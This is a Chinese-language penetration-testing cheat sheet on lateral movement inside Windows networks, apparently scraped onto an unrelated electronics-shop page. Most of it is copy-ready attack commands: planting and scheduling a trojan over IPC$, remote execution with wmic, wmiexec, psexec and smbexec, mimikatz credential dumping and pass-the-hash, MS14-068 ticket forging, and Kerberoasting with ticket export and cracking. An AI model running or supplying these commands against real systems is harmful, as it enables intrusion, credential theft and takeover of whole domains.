资讯详情

内网横向方法总结

1.IPC横向

1.1 执行IPC

1.2 定时任务与IPC

1.2.1at

2.WMI横向

2.1 wmic

2.2 cscript

2.3 wmiexec

3. SMB横向

3.1 psexec

3.2 smbexec

4. PTH

5. PTK

6. PTT(MS14-068)

8. 域委派


1.IPC横向

IPC(Internet Process Connection)共享命名管道的资源是为实现过程间通信而开放的命名管道。IPC139、445端口可通过验证用户名和密码获得相应的权限

利用条件 1.目标机打开139和445端口; 2.目标主机管理员打开ipc$默认共享; 3.了解目标机的账号密码;

1.1 执行IPC

net use \\server\ipc$  "password" /user:username                 #工作组 net use \\server\ipc$  "password" /user:domain\username          #域内 dir \\xx.xx.xx.xx\C$\                                            #查看文件列表 copy \\xx.xx.xx.xx\C$\xx.bat xx.bat                              #下载文件 copy 1.bat \\xx.xx.xx.xx\C$                                      #复制文件 net use \\xx.xx.xx.xx\C$\xx.bat /del                             #删除IPC net view xx.xx.xx.xx                                             #查看对方共享 net use                                                          #检查连接是否建立

(1)5:拒绝访问可能是用户不是管理员权限,需要先提高权限 (2)51:网络问题,Windows 找不到网络路径 (3)53:找不到网络路径,可能是 IP 地址错误、目标未启动、防火墙等问题 (4)67:找不到网络名称,本地 Lanmanworkstation 服务没有启动,目标删除 ipc$ (5)1219:提供的凭证与现有凭证集发生冲突,已建立 IPC$,需要先删除 (6)1326:账号密码错误 (7)1792:目标 NetLogon 服务没有启动,连接域控制经常发生 (8)2242:用户密码过期,目标有账户策略,强制定期更改密码

(1)目标系统不是 NT 或上述操作系统 (2)对方没有打开 IPC$共享 (3)对方未打开 139、445 或被防火墙屏蔽 (4)输出命令错误,账号密码错误

1.2 定时任务与IPC

1.2.1at

条件<

net use \\192.168.3.21\ipc$ "password" /user:god.org\administrator copy beacon.exe \\191.168.3.21\c$     #将木马复制到需要执行的主机上 at \\191.168.3.21 20:47 c:\beacon.exe #执行木马

2.WMI横向

WMI全称“windows从win自2003年以来一直存在。它最初的作用是方便管理员windows管理主机。因此,我们可以使用内网渗透WMI横向移动。

利用条件 1、WMI服务开放,端口135,默认开放。 2、防火墙允许135、445等端口通信。 3.了解目标机的账号密码。

2.1 wmic

wmic /node:191.168.3.31 /user:xxxx /password:xxxxx process call create "cmd.exe /c ipconfig>d:\result.txt"  无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显

 2.2 cscript
cscript //nologo wmiexec.vbs /shell 191.168.3.21 <username> <password>

cscript为系统自带命令,只需上传wmiexec.vbs然后进入该服务器内进行执行

2.3 wmiexec

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes:518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "dir"
wmiexec -hashes:ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "dir"

3. SMB横向

利用SMB服务可以通过明文或hash传递来远程执行

利用条件 1、445端口开放 2、知道账号密码

3.1 psexec

微软官方工具(不支持hashes传递)
PsExec64.exe \\192.168.3.31 -u <username> -p <password> -s cmd

impacket工具包中的psexec进行hashe连接(非官方,二次开发)
psexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 


net use \\192.168.3.31\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.31 -s cmd                        # 需要先有ipc链接 -s以System权限运行
注:psexec进行明文连接,要先进行IPC连接

3.2 smbexec

smbexec god/administrator:Admin12345@192.168.3.21     #域用户连接
smbexec ./administrator:admin!@#45@192.168.3.32       #本地账号连接

#hashes连接
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32   #本地用户
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 #域用户

4. PTH

PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。 如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 KB2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 PTK 攻击

1、在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 Windows Vista 之后的机器,只能是Administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非Administrator)也不能使用哈希传递攻击,会提示拒绝访问。

2、在域环境中: 只能是域管理员组内用户(可以是域管理员组内非Administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。 如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1

mimikatz  privilege::debug           #先用mimikatz进行提权
mimikatz  sekurlsa::logonPasswords   # 获取用户的NTLM值(若是获取aes则使用sekurlsa:ekeys)

域环境:
mimikatz sekurlsa::pth /user:administrator /domain:god.org /ntlm:8a963371a63944419ec1adf687bb1be5 

工作组环境下:
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c

5. PTK

即Pass The Key ,当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的ntlm hash.也就失去了作用,但是可以通过pass the key的攻击方式获得权限。

总结:KB2871997 补丁后的影响: PTH:打补丁前任意用户都可以连接,打了补丁后只能 administrator 用户才可以连接 PTK:打补丁前不能连接,打补丁后才能任意用户都可以连接(采用 aes256 连接) 参考:https://www.freebuf.com/column/220740.html

6. PTT(MS14-068)

1.域控没有打MS14-068的补丁(KB3011780) 2.拿下一台加入域的计算机 3.有这台域内计算机的域用户密码和SID

1.先清空当前机器的票据信息
mimikatz kerberos::list     #列出当前票据
mimikatz kerberos::purge    #清除票据
whoami /user                 #然后查看本机的sid

 

2.ms14-068生成TGT票据 
MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u dbadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1130 -d 192.168.3.21 -p Admin12345

3.将票据注入到内存中
mimikatz  kerberos::ptc 票据文件
mimikatz "kerberos::ptc TGT_dbadmin@god.org.ccache" exit

 4.成功读取域控主机C盘目录下文件(注:若用IP访问则会提示拒绝访问)

 

 Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。 之所以出现这种情况,是因为服务票的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。

攻击者通常会选择那些可能设置了弱密,码破解成功率较高的票据来尝试破解。一旦攻击者成功破解出了票据,他们有时不仅仅获取的只是服务访问权限,如果服务被配置为在高权限下运行,那么整个域都将可能被攻击者拿下 。

服务主体名称(SPN)发现
请求服务票据
导出服务票据
破解服务票据
重写服务票据注入
注:一般只会破解服务账号明文,因为重写很难成功。
服务主体名称(SPN)发现
setspn -q */*

 2.请求服务票据

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN服务名"  

或者用mimikatz请求服务
mimikatz.exe "kerberos::ask /target:SPN服务名"

导出服务票据
mimikatz.exe "kerberos::list /export"

破解服务票据
python tgsrepcrack.py passwd.txt xxxx.kirbi

8. 域委派

 具体参考:
 https://mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw

标签: 振动传感器208c03

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

 锐单商城 - 一站式电子元器件采购平台  

 深圳锐单电子有限公司